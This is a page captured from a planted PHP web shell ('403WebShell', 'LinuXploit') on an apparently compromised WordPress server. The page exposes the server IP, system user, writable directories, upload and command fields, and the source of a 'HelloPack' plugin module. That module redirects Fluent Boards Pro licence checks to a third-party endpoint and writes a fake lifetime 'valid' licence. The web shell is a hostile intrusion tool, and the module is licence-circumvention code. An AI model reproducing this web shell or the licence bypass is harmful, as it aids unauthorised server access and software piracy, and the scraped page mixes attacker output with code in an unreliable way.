$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules//fluent-boards-pro.php
<?php
/**
 * Fluent Boards Pro module.
 *
 * Redirects EDD license API calls to GLS3 and manages license data.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Fluent Boards Pro license module.
 */
class Fluent_Boards_Pro extends AbstractModule {

	/**
	 * License option key.
	 *
	 * @var string
	 */
	private string $settings_key = '__fbs_plugin_license';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'fluent-boards-pro';
		$this->name        = 'Fluent Boards Pro';
		$this->description = 'Manages Fluent Boards Pro license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.1.0';
		$this->target      = array(
			'plugin_dir'  => 'fluent-boards-pro',
			'plugin_file' => 'fluent-boards-pro.php',
		);
		$this->target_id   = '4201459808';
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		// The plugin licenses against fluentapi; api3 is kept for older builds.
		ApiRedirector::create(
			'https://fluentapi.wpmanageninja.com',
			HELLOPACK_GLS3_URL . '/wpmanageninja'
		);

		ApiRedirector::create(
			'https://api3.wpmanageninja.com',
			HELLOPACK_GLS3_URL . '/wpmanageninja'
		);

		$this->setup_license();
	}

	/**
	 * Set up license data.
	 */
	private function setup_license(): void {
		$token = Options::get( 'token' );
		if ( empty( $token ) ) {
			return;
		}

		$current = get_option( $this->settings_key, array() );

		if ( is_array( $current )
			&& 'valid' === ( $current['status'] ?? '' )
			&& ( $current['license_key'] ?? '' ) === (string) $token
		) {
			return;
		}

		update_option(
			$this->settings_key,
			array(
				'license_key' => (string) $token,
				'price_id'    => '1',
				'expires'     => 'lifetime',
				'status'      => 'valid',
			)
		);

		update_option( $this->settings_key . '_lc', time(), false );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		update_option(
			$this->settings_key,
			array(
				'license_key' => '',
				'price_id'    => '',
				'expires'     => '',
				'status'      => 'unregistered',
			)
		);
		hellopack_delete_option( $this->settings_key . '_lc' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit